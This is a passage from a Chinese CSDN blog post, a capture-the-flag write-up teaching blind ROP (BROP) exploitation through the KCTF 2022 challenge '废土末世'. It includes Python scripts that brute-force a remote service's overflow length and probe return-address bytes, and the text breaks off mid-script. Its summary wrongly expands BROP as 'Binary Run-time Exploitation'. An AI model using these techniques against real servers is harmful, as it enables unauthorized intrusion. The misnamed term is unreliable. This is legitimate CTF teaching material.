BROP入门之 KCTF 2022 废土末世

本文介绍了BROP(Binary Run-time Exploitation)技术的基础知识和实战应用,以2022年KCTF的‘废土末世’为例,详细讲解了如何通过溢出长度的获取、程序结构泄露和gadget寻找,最终控制程序执行流并实现getshell。
摘要由CSDN通过智能技术生成

定义

来自CTF wiki:
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流
攻击条件

  • 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  • 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的

基本思路

暴力枚举获取栈溢出长度,逐字符比较泄露返回地址,获取gadget,leak出ELF进行进一步分析,写rop来getshell

实战

接下来我们以2022 KCTF 的第六题废土末世为例子,一起来分析一下BROP类题目的解题流程

泄露缓冲区长度

如果是BROP类题目,那么一定会有溢出点,所以首先通过爆破获取缓冲区长度:

def get_overflow_length():
    global io
    len=1
    while True:
        try:
            io=remote("221.228.109.254",10045)
            sa("hacker, TNT!\n",'a'*len)
            print("now trying length is "+str(len))
            res=io.recv()
            io.close()
            if "TNT TNT!" not in res:
                return len-1
            else:
                len+=1
        except EOFError:
            io.close()
            return len-1
print("overflow length is "+str(get_overflow_length()))

然后来看看结果在这里插入图片描述

可以看到缓冲区长度应该是16

泄露程序结构

接下来就是要去泄露程序内容,这里我们将程序返回结果分为三种:

  • 正常运行
  • 等待输入或陷入死循环
  • 程序崩溃,接收到EOF
def probe(payload):
    global io 
    try:
        io=remote('221.228.109.254',10031)
        sa("hacker, TNT!\n",payload)
        res=io.recv(timeout=3)
        if "TNT" in res:
            return "success"
        else:
            return "stuck"
    except:
        return "crash"

对于本道题来说,知道缓冲区为16,所以要爆破的是第十七字节,从0到255,于是写下如下代码:

ans=open("ans.txt",'wb')
for i in range(256):
    ans.write(
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值